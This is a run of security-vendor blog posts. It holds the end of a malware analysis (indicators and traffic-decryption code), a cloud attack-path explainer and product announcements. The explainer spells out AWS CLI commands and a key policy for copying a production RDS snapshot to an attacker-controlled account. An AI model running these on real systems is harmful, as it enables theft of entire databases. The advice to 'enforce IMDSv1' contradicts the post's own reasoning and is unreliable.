/index.php /actions/async.php /wp-admin/media-new.php /backend/login/ajax_index.php /administrator/index.php /admin/login.php /admin/loginauth.php /wp-admin/admin-ajax.php /admin/user/controller.php /get.php /cms/admin/login.php APISID SAPISID SIDCC MSFPC __cfruid _vwo_uuid_v2 campaign source Referer: Referer: Referer: Referer: Referer: Referer: Referer: Connection: keep-Alive Content-Type: text/plain Accept-Language: en-US,en;q=0.8 Accept: */* Cookie: Global\wU3aqu1t2y8uN ntdll.dll kernel32.dll combase.dll ole32.dll OleAut32.dll wininet.dll Shell32.dll Shcore.dll User32.dll Gdi32.dll Appendix III # Decryption code for network communication #include <Windows.h> #include <stdio.h> #define SEED_SIZE 32 VOID DeriveKey(BYTE seed[], BYTE key[]) { BYTE swapByte = 0; BYTE seedIndex = 0; BYTE calKeyIndex = 0; /* Initialize the key array */ for (int i = 0; i < 256; i++) { key[i] = i; } /* Calculate XOR key */ for (int currKeyIndex = 0; currKeyIndex < 256; currKeyIndex++) { calKeyIndex = seed[currKeyIndex % SEED_SIZE] + key[currKeyIndex] + calKeyIndex; swapByte = key[currKeyIndex]; key[currKeyIndex] = key[calKeyIndex]; key[calKeyIndex] = swapByte; } /* Print the derived XOR key */ for (int k = 0; k < 256; k++) { printf("%02x ", key[k]); } } VOID Decrypt(BYTE data[], BYTE key[]) { BYTE XORKeySize = data[0]; BYTE *XORKey = (BYTE*)data + sizeof(BYTE); UINT encryptedDataSize = data[sizeof(BYTE) + XORKeySize]; BYTE *encryptedData = (BYTE*)data + (sizeof(BYTE) + XORKeySize + sizeof(UINT)); BYTE *layer1DecryptedData = (BYTE*)malloc(encryptedDataSize); for (UINT dataIndex = 0; dataIndex < encryptedDataSize; dataIndex++) { layer1DecryptedData[dataIndex] = encryptedData[dataIndex] ^ XORKey[dataIndex % XORKeySize]; } BYTE swapByte = 0; BYTE calKeyIndex = 0; BYTE finalKeyIndex = 0; for (UINT index = 1; index <= encryptedDataSize; index++) { calKeyIndex = key[index] + calKeyIndex; swapByte = key[index]; key[index] = key[calKeyIndex]; key[calKeyIndex] = swapByte; finalKeyIndex = key[index] + key[calKeyIndex]; printf("%c ", layer1DecryptedData[index - 1] ^ key[finalKeyIndex]); } } int main() { BYTE key[256]; BYTE seed[SEED_SIZE] = { // Taken from configuration 0xBD, 0xDE, 0x96, 0xD2, 0x9C, 0x68, 0xEE, 0x06, 0x49, 0x64, 0xD1, 0xE5, 0x8A, 0x86, 0x05, 0x12, 0xB0, 0x9A, 0x50, 0x00, 0x4E, 0xF2, 0xE4, 0x92, 0x5C, 0x76, 0xAB, 0xFC, 0x90, 0x23, 0xDF, 0xC6 }; BYTE data[] = { // Put Base64 decoded encrypted data here in HEX format }; DeriveKey(seed, key); printf("\n\n"); Decrypt(data, key); return 0; } Mon, 27 Jun 2022 08:26:32 -0700 Sahil Antil Uncovering and Remediating Cloud Risks with Posture Control Introduction Cloud environments are becoming increasingly complex and challenging to manage from a security standpoint. In a cloud-native application infrastructure, “workloads” are built by developers using code (infrastructure as code, or IaC) and controlled by DevOps using automated “pipelines.” The new infrastructure is constantly evolving, while the security implications of the environmental changes are often easy to neglect. As a result, security admins find it challenging to answer basic questions when it comes to their cloud environments, such as: Who are my powerful identities, human and non-human, and where do my overprivileged identities pose an immediate risk? Which of my publicly-facing workloads are at the highest risk due to misconfigurations of services and privileges? Which of my workload instances runs the unpatched OS and common libraries, and where does it matter the most? Do the developers that create the environment (with IaC) create risky configurations they are unaware of? As defenders, we are required to adopt the attacker’s perspective and uncover “toxic combinations” - the potential attack paths in a cloud environment. The more complex the environment, the harder it is to assess what are the “opportunities” presented to a potential adversary. Identifying the attack paths and toxic combinations in the cloud environment are ever more challenging for the following reasons: These are often a complex combination of misconfigurations of services, network exposure, mishandling of privileges and identities, and classic vulnerabilities in OS and applications. They often involve deep knowledge of the bits and bytes of cloud services, such as KMS, S3, Metadata service, and the notorious IAM. Security organizations find this expertise is hard to come by. Even the basics are hard to come by, such as identifying public assets, privileged identities, critical configurations, etc. Let alone identifying where they collide and combine into a toxic synergy. Toxic combination leading to attack path: As attack paths and toxic combinations are complex and multi-layered - so should be the security solution. Constantly monitoring all security aspects of the cloud, such as entitlements, IAM, configurations, and vulnerabilities is crucial. Having gained this visibility - the next step is to correlate all that knowledge into finding what an adversary could leverage to compromise the workloads and data. These paths should be highlighted and prioritized to the security admins and to the developers, along with crystal-clear remediation recommendations. In this post, we will present two use cases, each one of them representing a complex attack path that a cloud account is exposed to. The first use case will focus on a complex scenario where network exposure, misconfigurations, and over privileges create a toxic synergy where the production S3 buckets may be compromised. The second use case scenario will focus on an attack that utilizes all pure cloud services (RDS, KMS, and access keys) to leak an entire database by compromising stale access keys on a developer's desktop. These use cases aim to demonstrate the level of complexity cloud attack paths have and how hard it is to identify that such a risk exists. We will follow with some immediate security measures to address the threat in these use cases. Key Points In increasingly complicated cloud environments, it is incredibly hard to answer the basic security questions, such as: Who are my powerful identities, human and non-human? Where do my overprivileged identities pose an immediate risk? Which of my workload instances runs the unpatched OS and common libraries, and where does it matter most? Are there any cloud configurations that violates bad practice and expose the workload to an immediate risk? Combination of what seems to be low-risk misconfigurations converge into a toxic combination and can pose an enormous risk A security solution for cloud workloads should have all-around visibility of the risk sources from Permissions and entitlements Configurations Network OS vulnerabilities The goal should be correlating and identifying where risk from different sources creates a toxic synergy scenario. Those can potentially present an immediate threat to the integrity of the data and the workload. Use Cases Public instance with high data leakage risk Suppose there is an EC2 instance running a workload for a brand new cloud-native application. To expose web access, port 443 is defined as open to in the security group along with a corresponding ACL and route rules. The application is heavily utilizing S3 service, reading and writing to various buckets. Permissions to access the AWS resources are managed by assuming a role that is attached to the EC2 instance via instance profile. The temporary credentials of the role are accessible to the instance without authentication, via the Instance Metadata Service (IMDS), by accessing the following URL from within the instance. URL:<role name> The response will contain the temporary role’s keys Response: { "Code" : "Success", "LastUpdated" : "2012-04-26T16:39:16Z", "Type" : "AWS-HMAC", "AccessKeyId" : "....", "SecretAccessKey" : "...", "Token" : "token", "Expiration" : "2022-05-17T15:09:54Z" } A cloud architect was unable to isolate specific actions the application would need, and attached a role with the AmazonS3FullAccess permission policy to the EC2 instance. As a result, rendering the instance as a full S3 admin. AmazonS3FullAccess: { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*", "s3-object-lambda:*" ], "Resource": "*" } ] } The architect was unaware of the risk—IMDS version 1 is enabled for the instance. Version 2 of the IMDS provides important protection for the temporary role credentials, from being leaked by an adversary that can get the server to access a URL of their choice (and return the results to them). Version 1 lacks these security controls. As a result, if an adversary finds an SSRF vulnerability on the web application, they could get full access to the role credentials. This can be achieved by tricking the server into accessing the metadata service URL and returning the response. To sum it up: EC2 instance open to the public on port 443 IMDSv1 enabled Overprivileged role attached to the instance (S3 Admin) Toxic combination leading to data compromise via public instance: Each one of the above configurations on its own would expose the workload (the EC2 instance), and the cloud-native application to risk. However, all 3 risky configurations combined result in a far greater risk. Once an SSRF vulnerability is found on the instance, an adversary could obtain full access to all the S3 buckets of the account, that often contain highly-sensitive data. At this point, an attacker could leak the data, delete the data, or encrypt the data and extort the cloud-native application owner using a ransomware attack. What would posture control do? Zscaler Posture Control would identify a powerful role assigned to the EC2 instance. It would correlate the finding with the scan results of the image and with the public exposure of the instance (via security groups, ACLs and other cloud specific network controls) and mark it as critical since IMDSv1 is enabled on the instance. Unused access keys can leak the entire production DB via snapshot sharing Suppose there is a cloud application developer in charge of the availability and backups of a production RDS database used by the cloud-native application. As part of their job, they would need to simulate a restore of the database from a snapshot. For that, they ask DevOps to create an IAM user with access keys, with permission to manage RDS snapshots. DevOps creates the IAM user with an access key and grants the IAM user with the appropriate permissions to manage RDS snapshots. After successfully testing the database recovery, the developer would end up with an unused access key lying stale in his workstation. As is the case with access keys, no modern controls can be applied to protect the authentication (such as multi-factor authentication). If the workstation is compromised, an adversary could get a hold of the IAM access key and leverage the IAM privileges to export the latest snapshot of the production database into an AWS account under the adversary’s control. This can be achieved by creating a snapshot of the database and sharing the snapshot with an AWS account owned by the adversary. In order to copy the database to the adversary-controlled AWS account, the adversary will first create a DB snapshot, using AWS CLI: aws rds create-db-snapshot --db-snapshot-identifier prod-db-name --db-instance-identifier snapshot-prod-db As the snapshot is encrypted, they would need to create a copy of the encrypted snapshot with a KMS key that is under the control of the adversary. For that, they would first create a KMS key in the adversary account. The adversary would execute this command in their own AWS account: aws kms create-key --policy file://key-policy.json The policy file would contain the following json document. This policy allows the victim account full access to the adversary’s KMS key. key-policy.json: { "Version": "2012-10-17", "Id": "allow-victim-account", "Statement": [ { "Sid": "Enable IAM User Permissions", "Effect": "Allow", "Principal": { "AWS": "<ARN of root user of victim account>" }, "Action": "kms:*", "Resource": "*" } ] } The response will contain the ARN of the adversary’s controlled KMS key. Once that is done, they can create a copy of the snapshot that is encrypted with the KMS key under his control aws rds copy-db-snapshot --source-db-snapshot-identifier snapshot-prod-db --target-db-snapshot-identifier snapshot-prod-db-copy-to-be-leaked --kms-key-id <ARN of the KMS key from the adversary account> The final step is to share the snapshot with the adversary account: aws rds modify-db-snapshot-attribute --db-snapshot-identifier snapshot-prod-db-copy-to-be-leaked --attribute-name restore --values-to-add {"<AWS Account ID of Adversary account>"} Once the RDS snapshot is shared with the adversary account, encrypted with a KMS key controlled by the adversary can recreate the entire database in their own account. To sum it up: Access key created for DB restore Access key left unused Security admin unaware of a huge exposure The key can be used to leak the entire production DB to a third party Timeline for RDS snapshot compromise: What would posture control do? Zscaler Posture Control would identify risky data access (to the RDS snapshots) enabled by the access keys. It would also correlate with usage information and highlight the risk of unused access keys as critical. Security Recommendations and Prevention In this section, we will highlight some of the immediate prevention steps a security admin could take to mitigate the threat described in the use cases above. These best practices are built in and available as part of Zscaler Posture Control. Public instance with high data leakage risk - prevention Enforce the use of IMDSv1 - especially for publicly-facing instances Never assign any admin roles to publicly-facing instances Assign permissions to human and non-human identities following the principle of least privilege Ensure your workload is built with up-to-date images and libraries. Optimally with a shift-left approach where vulnerabilities are discovered in build-time Unused access keys can leak the entire production DB via snapshot sharing - prevention Avoid using IAM users as much as possible. Use instead SSO identities either from your on-prem identity provider or use AWS SSO Periodically, remove all unused access keys Using cloud trail, security admin should monitor any manual creation of RDS snapshots and API calls that can be used for sharing those snapshots The following API calls should be considered highly sensitive and should be monitored CreateDBSnapshot CopyDBSnapshot ModifyDBSnapshotAttribute The rds: ModifyDBSnapshotAttribute action is used to share a snapshot with other AWS accounts. This action should be explicitly denied when not required, either by attaching a deny policy, or utilizing a service control policy in an AWS Organizations environment Better Security Approach with a Single Integrated Platform Data breaches, vulnerabilities, and security violations continue to rise. As a result, enterprises undergoing digital transformation or building new cloud apps must streamline security processes. In order to avoid the high cost of remediating security and compliance violations or application vulnerabilities in production—or worse, recovering from a breach—it is beneficial to proactively identify and remediate security weaknesses and vulnerabilities. A unified, cloud-native security platform like Zscaler Posture Control is designed to identify, prioritize, and remediate the most critical cloud security risks. Zscaler Posture Control serves as a single source of truth across the cloud infrastructure, gathering telemetry from all environments and correlating risk and threat data to give better risk insights and maximize the effectiveness of the security team. Learn more about Zscaler Posture Control security capabilities. Wed, 22 Jun 2022 05:00:01 -0700 Aharon Fridman Introducing Posture Control by Zscaler, our Cloud Native Application Protection Platform (CNAPP) One of our cultural values at Zscaler is customer obsession, where every employee is expected to not only go beyond customer expectations but deeply understand customer challenges to better help solve them. Conviction about how to solve the problems enterprises face doesn’t come from reading news articles or analyst reports (though both can be helpful) but by having as many open and direct conversations as possible. As we’ve extended our Zero Trust Exchange platform over the past two years to protect cloud native applications and workloads as well as users, our product teams and leadership have had hundreds of these conversations. What did we learn? Cloud security is fundamentally broken In today’s cloud native environments, development teams are innovating faster than ever before. Application development methodologies are moving away from the traditional “waterfall” model toward more agile continuous integration/continuous delivery (CI/CD) processes with end-to-end automation. This means developers have embraced microservices-based architectures built using containers, assembled in DevOps-style development pipelines, and deployed programmatically into cloud infrastructures. Unfortunately, security tools have not kept up and are ill-suited for the speed and scale of developer-driven, API-centric, infrastructure-agnostic cloud native applications. Most organizations today use an acronym soup of tools to achieve complete cloud security coverage. CSPM, CIEM, IaC scanning, CWPP, CNAPP, DLP, vulnerability scanning, and more are all part of the standard “stack,” with some coming from cloud providers and others from third-party security vendors. The challenge with cloud security tools These point cloud security tools do not integrate together, address only very narrow security weaknesses, and have difficulty correlating risks leading to issues such as lack of visibility, complexity, and friction among cross-functional teams that slows down overall progress. To meet the scale and speed of cloud native application development, organizations need a comprehensive security approach that envelops the entire CI/CD lifecycle to integrate seamlessly with developer and DevOps workflows. Such an approach necessitates a simplified architecture that correlates across cloud and workload weaknesses to prioritize true risk and deliver remediation via each stakeholder’s preferred workflows as early as possible in the development process. The right team to solve the problem When taking on substantial new areas like this, it’s common for people to say that you need “startup DNA” on the team. But, others will say that “there’s no substitute for people who’ve scaled up a platform and lived to tell the tale.” With posture control, the team we’ve built comes from the best of both worlds. We’ve significantly expanded the teams that came to Zscaler via our acquisitions of Cloudneeti and Trustdome. We’ve hired entire teams that have scaled other cloud security platforms to cover new areas such as vulnerability scanning and DevOps integrations, and we’ve made internal transfers from the team that built Zscaler into the cloud security juggernaut that it is today. The result? A team of hundreds of sharp, highly motivated engineers with startup DNA and a proven ability to scale—all of whom are laser-focused on public cloud security and our latest product, Posture Control. Introducing posture control from Zscaler Zscaler Posture Control is a comprehensive CNAPP that reimagines cloud security. It’s purpose-built to identify hidden risks across the cloud native lifecycle caused by a combination of misconfigurations, threats, and vulnerabilities. The platform correlates signals across several cloud security engines to identify and prioritize cloud risks and security incidents. An entirely agentless architecture streamlines workload security (for 100% of workloads), and native tool integration means developers and DevOps can identify and remediate security issues without slowing down work. Figure: posture control new and comprehensive user interface/alerts dashboard Critically, posture control was built from the ground up as an entirely new platform. The expected route would’ve been to combine technologies like CSPM, from our acquisition of Cloudneeti, and CIEM, from our acquisition of Trustdome, into a single UI and single user account, but such an approach wouldn’t solve the challenges that we’ve heard from our customers time and time again. Only by rethinking every aspect of the product, from onboarding and deployment to risk scoring and prioritization, can a product like this capture the needs of today and tomorrow. Figure: advanced threat and risk correlation investigation and attack path results At the heart of the platform is a unified database that pulls from many different sources to identify and analyze the combinations of cloud and workload weaknesses that attackers are most likely to exploit. The resulting risk-based prioritization makes InfoSec teams much more efficient. Native integrations into development and DevOps workflows allow those same teams to partner more effectively with the CTO’s organization, minimizing costly and time-consuming security reworks as well as the number of weaknesses that make their way into your production cloud environments. Zscaler for workloads Combined with Zscaler Internet Access (ZIA) for Workloads and Zscaler Private Access (ZPA) for Workloads which secures applications at runtime, Zscaler Posture Control provides comprehensive protection for both cloud native and traditional applications running on any service in any cloud. Learn more about posture control Posture control is publicly available—reach out today to learn more, schedule a demo, or request a trial. Wed, 22 Jun 2022 05:00:01 -0700 Rich Campagna Introducing AI-powered Innovations for Zscaler for Users Today’s Innovations Keynote at Zenith Live will unveil new AI-powered innovations for Zscaler for Users. We’re proud to deliver these capabilities to our customers to help them stop advanced cyberattacks, simplify zero trust adoption, and ensure great user experiences with: Zero trust security for users, powered by AI Next-gen ZTNA, powered by AI Digital experience monitoring, powered by AI Join us virtually at Zenith Live to see the latest innovations firsthand! Zero trust security for users. Powered by AI. Why it matters: Organizations around the world are facing a barrage of highly advanced, automated attacks that traditional defenses can’t detect or prevent, like phishing. Zscaler’s new AI-powered security services, dynamic risk-based policy, and contextual threat intelligence helps organizations detect unknown attacks, future-proof policy, and respond to incidents faster. What we are announcing: Innovation Benefit AI-Powered Cloud Browser Isolation Leverage robust, proprietary AI models and one-click configuration to automatically identify and isolate risky or suspicious websites. AI-Powered Phishing Detection Detect and block patient-zero phishing pages inline with advanced AI-based detection. AI-Powered C2 Detection Identify and stop attacks from never-before-seen botnets inline, including highly advanced evasion techniques. Dynamic, Risk-Based Policy Continuous analysis of user, device, application, and content fuels risk-based, dynamic policy to stop active attacks and future-proof defenses. Cyber Risk Assessment Automatically identify your organization’s risk by configuring with integrated best practice recommendations to improve your organization’s security posture. Zscaler IRIS Get contextualized and correlated alerts with insights into threat score, impacted assets, severity, and more to drastically improve response times. Next-gen ZTNA. Powered by AI. Why it matters: Attackers use lateral movement in 60% of breaches to reach their intended target after gaining a foothold. Zscaler’s new AI-powered app segmentation, private app protection, and integrated attacker deception reduces the attack surface, stops lateral movement, and decomplicates zero trust adoption. What we are announcing: Innovation Benefit AI-Powered App Segmentation Private app telemetry, user context, behavior, and location data fuels AI-powered app segmentation to minimize the attack surface and stop lateral movement. Private App Protection Detect and stop the most prevalent web attacks with the industry’s only inline inspection and prevention capabilities for ZTNA. Attacker Deception Identify and disrupt sophisticated threats that bypass traditional defenses with the only zero trust platform with integrated deception technology. Privileged Remote Access Enable secure, direct access to IoT and OT for privileged users on unmanaged devices over RDP and SSH. Private App Isolation Eliminate the risk of losing sensitive data through vulnerable clients and infected endpoints with integrated cloud browser isolation for unmanaged devices. Digital Experience Monitoring. Powered by AI. Why it matters: When user experience issues arise, IT teams spend too much time combing through mismatched data and logs to investigate the root cause instead of solving the issues at hand. Zscaler’s new AI-powered root cause analysis, inventory metrics, deep integrations, and ISP insights help IT teams identify problems quickly and speed troubleshooting. What we’re announcing: Innovation Benefit AI-Powered Root Cause Analysis Automatically isolate root causes of performance issues. Spend less time troubleshooting, eliminate finger-pointing, and get users back to work faster. Software Inventory Metrics Get a full understanding of your software portfolio and the versions deployed across your organization, and within each device. Rapidly troubleshoot and fix end-user device issues without having to remote in, and keep them in compliance. Robust API Integrations Integrate ZDX’s digital experience insights with popular ITSM tools like ServiceNow to provide additional insights and trigger remediation workflows. ISP Insights Monitor the health of the Internet. Be the first to spot ISP incidents across the globe, by severity. Pick top-performing ISPs to optimize user experience. For more information on the latest AI-powered innovations for Zscaler for Users, join Zenith Live virtually and check out the Zero Trust for Users Innovation page. Wed, 22 Jun 2022 05:00:01 -0700 Adam Roeckl Accelerating Mean Time to Resolution with AI-Powered Root Cause Analysis Today’s IT environments are complex and scale globally to support distributed teams that rely on SaaS services hosted in public clouds or data centers. With employees now working from home, the office, or a combination of the two, IT needs to ensure optimal digital experiences across a wider range of networks, even those not in their control. This is why IT operations and service desk teams often struggle to pinpoint the exact root cause of application issues, system failures, latency, or poor user experience. Introducing ZDX AI-Powered Root Cause Analysis ZDX can quickly identify the root cause of user experience issues with its newly-introduced AI-powered root cause analysis capability. It spares IT teams the labor of sifting through fragmented data and troubleshooting, thereby accelerating resolution and keeping employees productive. This new capability: Speeds up analysis from hours to seconds by instantly exposing root cause Facilitates collaboration by focusing on digital experience issues Reduces alert fatigue by holistically gathering, correlating, and analyzing data Eliminates the need for specialized skills and training required for point monitoring tools ZDX can ingest multiple performance- and user experience-related signals across the application delivery chain—from end user devices and across Wi-Fi, local ISP, corporate and non-corporate networks right up to the cloud, data center, or SaaS provider. ZDX uses machine learning to accurately expose root cause by garnering information from past experiences, ensuring that IT addresses the core issues of poor user experience, not just the symptoms. One-Click Root Cause Analysis Powered by AI Identifying root cause in ZDX is simple: pick a point in time where user experience is impacted and click ‘Analyze Score’ ZDX processes multiple signals to identify root cause and offers IT teams the ability to provide feedback on its conclusions. IT operations and service desk teams can immediately understand issues impacting specific regions or services associated with those root causes. Analyze Change in Factors Impacting Performance Across Two Points in Time Once IT teams are aware of how a root cause is impacting the user experience, they can further analyze how it’s changed by picking two points in time and reviewing deviations in network performance, device health, and device events across the specified period, which helps them prioritize their efforts. Expose the Top Factors Impacting User Experience Across a Period of Time When a degradation in user experience becomes evident, IT teams can then select a time range and review the device, region, network, and service factors that have changed. ZDX then presents its conclusions on how the user experience degraded. This capability provides immediate and actionable insights, which helps teams understand bottlenecks across the application delivery chain. Enhanced by ISP Insights ZDX relies on a wide range of telemetry to provide IT teams with actionable root cause analysis. This includes a real-time understanding of the health of the internet, which is key given that most employees now work from home or remote offices and use the internet to connect to resources. Zscaler ISP Insights enhances ZDX by providing a global view of how ISPs perform so that they can select the best ones to partner with. The same telemetry is incorporated into AI-powered root cause analysis when users experience poor performance, which is especially handy when remote users rely on local ISPs to reach business-critical applications and services. IT teams can now conveniently assess and monitor global ISPs and incorporate recommendations into performance and end user experience improvements. Next Steps ZDX AI-Powered Root Cause Analysis is available to all customers using ZDX Advanced. If you’re interested in learning more about this capability and how it can help you accelerate mean time to resolution and keep users productive, please schedule a demo with our experts! Wed, 22 Jun 2022 05:00:01 -0700 Krishnan Badrinarayanan